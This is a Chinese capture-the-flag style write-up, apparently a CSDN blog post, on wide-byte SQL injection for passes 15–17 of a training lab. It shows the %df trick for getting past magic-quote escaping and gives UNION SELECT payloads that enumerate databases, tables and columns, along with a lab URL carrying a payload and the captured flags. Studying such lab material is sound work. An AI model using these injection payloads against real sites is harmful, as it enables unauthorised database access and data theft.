zkaq宽字节注入 pass15-17

魔术引号

魔术引号会转移传参的内容

php防御函数magic_quotes_gpc(魔术引号开关)

当PHP的传参中有特殊字符(’ " \)就会再前面加转义字符’\’,来做一定的过滤。单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入

魔术引号PHP5.4以上就被取消的,取而代之的时addslashes()函数

遇到魔术引号时:
1:找一个不需要闭合的地方
2:宽字节注入
假设 \ = %5c 那么 %df\ =%df%5c=一个汉字

什么时候能用宽字节注入
1:实战时,尝试即可
2:知道原理:知道数据库被设置成gbk编码,或者其他非英文编码时,可以利用宽字节注入

gbk编码汉字,占用2个字符
utf-8编码汉字,占用3个字符


宽字节注入(一)

要输入’ 闭合,但是存在魔术引号,输入的单引号前面被加了
在这里插入图片描述
解决 :加入%df 让%df和\ 组合成汉字
在这里插入图片描述
之后和显错注入完全相同
链接:
https://blog.csdn.net/Demerol/article/details/108471003

注: 在查找字段名时 table_name= '表名’时,因为存在魔术引号,所以两个单引号被转移传参
解决:
1:16进制,将表名改为16进制数 table_name=0x+XXXXXX
table_name=‘china_flag’
=
table_name = 0x6368696e615f666c6167
2:套娃法,table_name之后在加一个select语句

select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = (select table_name from information_schema.tables where table_schema = database() limit 0,1) limit 1,1 – qwe

在这里插入图片描述
最后flag为:zKaQ-Wide


宽字节注入(二)

需用”)闭合,其余和宽字节注入(一)完全一样

http://inject2.lab.aqlab.cn:81/Pass-16/index.php?id=1%df") union select 1,2,3 – qwe
在这里插入图片描述


宽字节注入(三)

有输入框,尝试输入万能密码
在这里插入图片描述

发现并不成功,因为get传参会编码解码,post不会

gbk编码汉字,占用2个字符
utf-8编码汉字,占用3个字符

我们尝试在外边输入一个汉字,utf-8占用三个字符,但是进入数据库之后,采用gbk编码占用两个字符,utf-8占用的三个字符+’’= 两个汉字

啊’) or union select…

利用burp抓取数据包,可看出转化成的两个汉字
在这里插入图片描述

在这里插入图片描述

之后和上面完全相同

最后的flg:zKaQ-Kzj+mz


部分语句
查库名
union select 1,2,databses() – qwe
查表名
union select 1,table_name,3 from information_schema.tables where table_schema = database() limit 1,1 – qwe
差字段名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = 0x6368696e615f666c6167 – qwe
查数据
union select 1,group_concat(C_Flag),3 from china_flag – qwe

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值